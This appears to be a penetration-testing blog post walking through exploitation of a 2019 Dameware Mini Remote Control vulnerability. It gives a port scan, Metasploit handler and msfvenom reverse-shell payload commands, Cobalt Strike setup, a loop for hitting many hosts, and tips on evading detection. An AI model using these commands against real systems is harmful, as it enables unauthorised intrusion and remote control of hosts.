Skip to Main Content
October 18, 2022

Dameware Mini: The Sleeper Hit of 2019?

Written by David Boyd

SolarWinds! You hear the name and immediately think “solutions management” or big screens full of more network information than you can shake a stick at. SolarWinds has been on the scene since 1999, and their products and solutions can be found in networks worldwide.

SolarWinds Dameware Mini Remote Control is one such offering. On the website, it's described as “affordable remote control software for all your customer support and help desk needs.” Sounds pretty handy, right?

Well, Tenable discovered a nifty little flaw in a version released in 2019. You see, the Dameware Mini Remote Client agent supports smart card authentication by default. This allows a user to upload an executable on a host where the SolarWinds Dameware Remote Mini Remote Client Agent Service (DWRCS.exe) is running. The cool thing about that particular service? It runs as SYSTEM.

So, Tenable completes the responsible disclosure, whips up this awesome POC, and you get a nice little CVE to boot. SolarWinds patches the vulnerability, and all is right again.

Alright, so why am I writing about a vulnerability that is almost 4 years old?

Figure 1 - Even 'Old' Exploits Are Still Valid

Because I still see it all the time, and it has provided me footholds on several gigs over the years. IT admins will patch SolarWinds but forget to patch the Client Agent Service. Well, let’s get some shells! Exploiting this is straightforward.


First, let’s look for hosts that have port 6129 open. Port 6129 is where the Dameware service typically runs. Nmap or Masscan work well for this, but I am also privy to SpooNMAP. (Shameless plug here.)

<em>nmap -sV -g88 -p6129  --open</em>
Figure 2 - Dameware Service Running, Check

OK! We have a possible hit. Dameware service is running, and the port is open.

The Setup

We need three parts for the next step: the POC mentioned above, an executable, and a handler (to catch your payload). For this blog, I’ll demonstrate Metasploit and Cobalt Strike.

Grab your POC:

Start your MSF handler/CS listener:


sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set EXITFUNC thread; set LHOST <IP>; set LPORT 443; exploit -j"

Cobalt Strike:

./teamserver <IP> <Password> <awesome profile>

Cobalt Strike > Listeners > Add

Figure 3 - Setting Up Cobalt Strike Listener

Generate your executable:


sudo msfvenom -p windows/meterpreter_reverse_https LHOST=<IP> LPORT=443 EXITFUNC=thread -f exe > test.exe
Figure 4 - Meterpreter Payload Generated

Cobalt Strike:

Payloads > Windows Stageless Payloads > Listener > Generate

Figure 5 - Cobalt Strike Payload Generation

Handler setup? Payload generated? Target acquired? Let’s rock…


If you have a ton of hosts, you can do a for loop, like so:

for i in $(cat port6129.txt); do python -t $i -e trustedsec.exe; done

Or individually:

python -t <target> -e <malicious exec>

If all goes well, you will get output similar to this:

Figure 6 - Exploitation in Progress

What do we get for our troubles?

Figure 7 - Meterpreter Session Acquired

…those sweet, sweet shellz!

Figure 8 - Cobalt Strike Beacon Acquired

OpSec Considerations

Personally, I have seen about a 50/50 split between this being detected and not being detected. If you are in the middle of a full-scope red team, avoiding tripping anything is going to come down to 1) not scanning for port 6129 directly, and 2) crafting the absolutely perfect executable. This could also be done with any C2 of your choice. You could even look at crafting something with MacroPack, but thats a blog for another day. Even then, I would save looking for this until stealthier options do not pan out first.

Figure 9 - Better Execution = Better Chance at Success

If you have questions or comments, I would love to hear from you. Feel free to reach out on Twitter @fir3d0g or find me on the TrustedSec Discord.